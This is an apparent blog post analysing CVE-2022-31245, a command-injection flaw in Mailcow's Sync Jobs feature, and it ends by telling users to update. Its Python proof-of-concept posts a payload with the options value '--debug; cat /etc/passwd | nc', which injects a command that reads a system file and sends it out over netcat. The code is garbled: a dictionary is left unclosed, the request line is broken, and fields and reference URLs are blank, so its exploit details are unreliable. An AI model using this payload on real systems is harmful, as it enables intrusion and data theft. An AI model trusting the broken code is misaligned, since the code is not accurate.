Mailcow, an open-source and fully dockerized mailserver suite, has been found to contain a critical security vulnerability that could potentially enable an attacker to escalate their privileges up to a domain admin. Indexed as CVE-2022-31245, this vulnerability affects Mailcow versions released before the 2022-05d update. In this post, we will provide an in-depth analysis of this issue, demonstrating how a remote authenticated user can exploit the vulnerability using the --debug and ---PIPEMESS options in Sync Jobs. Additionally, we will include original references and a code snippet that illustrates the exploit.

Exploit Details

The CVE-2022-31245 vulnerability allows a remote authenticated user to inject OS commands and escalate privileges to domain admin via a specific combination of options in the Sync Jobs feature. Specifically, the --debug option, in conjunction with the ---PIPEMESS option, provides the attacker with an opportunity to perform OS command injection and potentially gain domain admin privileges.

Gain domain admin privileges and potentially cause further harm to the Mailcow instance

To better understand how this vulnerability operates, let's dive into a code snippet that demonstrates an attacker exploiting the CVE-2022-31245 vulnerability:

import requests

# User credentials (typically obtained via phishing or other means)
user_email = ""
user_password = "SuperSecretPassword"

# Prepare request payload
payload = {
    "email": user_email,
    "password": user_password,
    "task": "add",                                            # Add new Sync Job
    "domain": "",
    "user": user_email,
    "options": "--debug; cat /etc/passwd | nc",  # OS command injection
    "pipe": "---PIPEMESS data.tar.gz"                         # PipeMess option

# Send POST request to add new Sync Job in Mailcow
response ="";, data=payload)

In this example, the attacker successfully injects an OS command (cat /etc/passwd | nc into the Sync Job, leveraging the --debug option in conjunction with the ---PIPEMESS option. When the Sync Job is executed, the injected command is run on the system, potentially escalating the attacker's privileges to a domain admin.

For further information on Mailcow and CVE-2022-31245, please refer to the following resources

1. Mailcow Official Documentation:
2. Mailcow GitHub Repository:
3. CVE-2022-31245 Official Details:
4. Mailcow Patch Release (2022-05d):


CVE-2022-31245 is a critical vulnerability that exists in Mailcow versions prior to the 2022-05d update. This vulnerability allows remote authenticated users to inject OS commands and escalate their privileges to domain admin by exploiting the --debug and ---PIPEMESS options in Sync Jobs. It is essential for Mailcow users to update their instances to the latest release to mitigate this security risk and protect their mail server environment.

For more information and the latest updates on Mailcow security, please visit the Mailcow GitHub repository at or the official documentation at


Published on: 05/20/2022 15:15:00 UTC
Last modified on: 06/02/2022 16:59:00 UTC